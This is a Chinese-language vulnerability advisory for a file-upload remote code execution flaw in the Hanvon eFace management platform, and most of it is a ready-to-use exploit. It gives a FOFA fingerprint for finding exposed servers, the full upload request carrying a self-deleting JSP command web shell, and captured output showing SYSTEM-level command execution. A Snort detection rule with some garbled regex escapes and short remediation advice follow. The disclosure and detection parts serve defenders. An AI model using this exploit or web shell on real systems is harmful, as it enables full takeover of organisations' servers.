

汉王e脸通综合管理平台 resourceUploadFile.do文件上传致RCE

汉王e脸通综合管理平台 resourceUploadFile.do文件上传致RCE，攻击者可文件上传获取系统权限。

影响版本

汉王e脸通综合管理平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="1380907357"

POC/EXP:

```
POST /manage/dgmCommand/resourceUploadFile.do?recoToken=ZuZB0rvLG8M HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: */*
Connection: close

-----WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg
```

```
<% java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a =
-1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1)
{out.println(new String(b,0,a));}out.print("</pre>");new
java.io.File(application.getRealPath(request.getServletPath())).delete();%>
-----WebKitFormBoundaryFfJZ4P1AZBixjELj--
```

发送请求 强制 HTTPS 历史 爆破示例

Request 数据扫描 美化 热加载 构造请求

```
1 POST /manage/dgmCommand/resourceUploadFile.do?
2 recoToken=ZuZB0rvLG8M HTTP/1.1
3 Host:
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/
537.36
4 Accept-Encoding: gzip, deflate
5 Content-Type: multipart/form-data;
boundary=-----WebKitFormBoundaryFfJZ4P1AZBixjELj
6 Accept: */*
7 Connection: close
8
9 -----WebKitFormBoundaryFfJZ4P1AZBixjELj
10 Content-Disposition: form-data; name="file"; filename="1.jsp"
11 Content-Type: image/jpeg
12
13 <% java.io.InputStream in = Runtime.getRuntime().exec(request.
getParameter("cmd")).getInputStream();int a = -1;byte[] b = new
byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.
println(new String(b,0,a));}out.print("</pre>");new java.io.File
(application.getRealPath(request.getServletPath())).delete();%>
14 -----WebKitFormBoundaryFfJZ4P1AZBixjELj--
```

Responses 190bytes / 56ms 美化 编码 详情

```
1 HTTP/1.1 200
2 Server: nginx/1.12.2
3 Date: Wed, 04 Jun 2025 07:25:21 GMT
4 Content-Type: text/html; charset=utf-8
5 Connection: close
6 Set-Cookie: JSESSIONID=76A8F69D984C217D3CDC83862040738B;
path=/;HttpOnly
7 Vary: Accept-Encoding
8 Content-Length: 229
9
10 {
11   "success": true,
12   "resultCode": 0,
13   "msg": "上传成功!",
14   "obj": {
15     "path":
16       "D:\\EfaceGo\\Tomcat8\\webapps\\manage\\resource\\350a
6eae12e3482aa82589beea5ca102.jsp",
17     "fileName": "1",
18     "fileType": "jsp"
19   }
20 }
```

← → ↺ ⚠ 不安全 3500/manage/resource/350a6eae12e3482aa82589beea5ca102.jsp?cmd=whoami

nt authority\system

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Hanvon eFace - RCE via resourceUploadFile.do (JSP Upload)";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/manage/dgmCommand/resourceUploadFile.do"; http_uri;
  content:"recoToken="; http_uri;
  content:"multipart/form-data"; http_client_header;
  content:"filename="; http_client_body;
  pcre:"/filename=\"[^\"]+\\.jsp\"/i";

  pcre:"/<%\\s*java\\.io\\.InputStream\\s+in\\s*=\\s*Runtime\\.getRuntime\\$\\$\\.exec\\$request\\
\\.getParameter\\(\\\"cmd\\\"\\$\\)/is";
  pcre:"/out\\.print\\$[\\$]*\\)\\s*\\s*new\\s+java\\.io\\.File\\$[\\$]*\\)\\.delete\\$\\$/is";
  metadata:service http;
  metadata:affected_product "汉王e脸通综合管理平台";
  metadata:attack_type "JSP File Upload to RCE";
  metadata:severity "critical";
  reference:url,www.example.com/vulndb/hanvon-rce;
  classtype:web-application-attack;
  sid:1000071;
  rev:1;
```

```
priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。